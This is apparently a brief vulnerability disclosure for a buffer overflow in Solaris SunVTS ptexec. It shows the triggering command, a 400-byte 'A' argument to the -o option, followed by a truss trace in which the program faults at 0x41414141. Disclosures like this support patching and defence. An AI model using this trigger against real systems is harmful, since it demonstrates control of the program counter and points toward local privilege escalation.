Solaris PTExec Buffer Overflow Vulnerability

# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)

# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`

execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000

[.....]

sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
*** process killed ***


 

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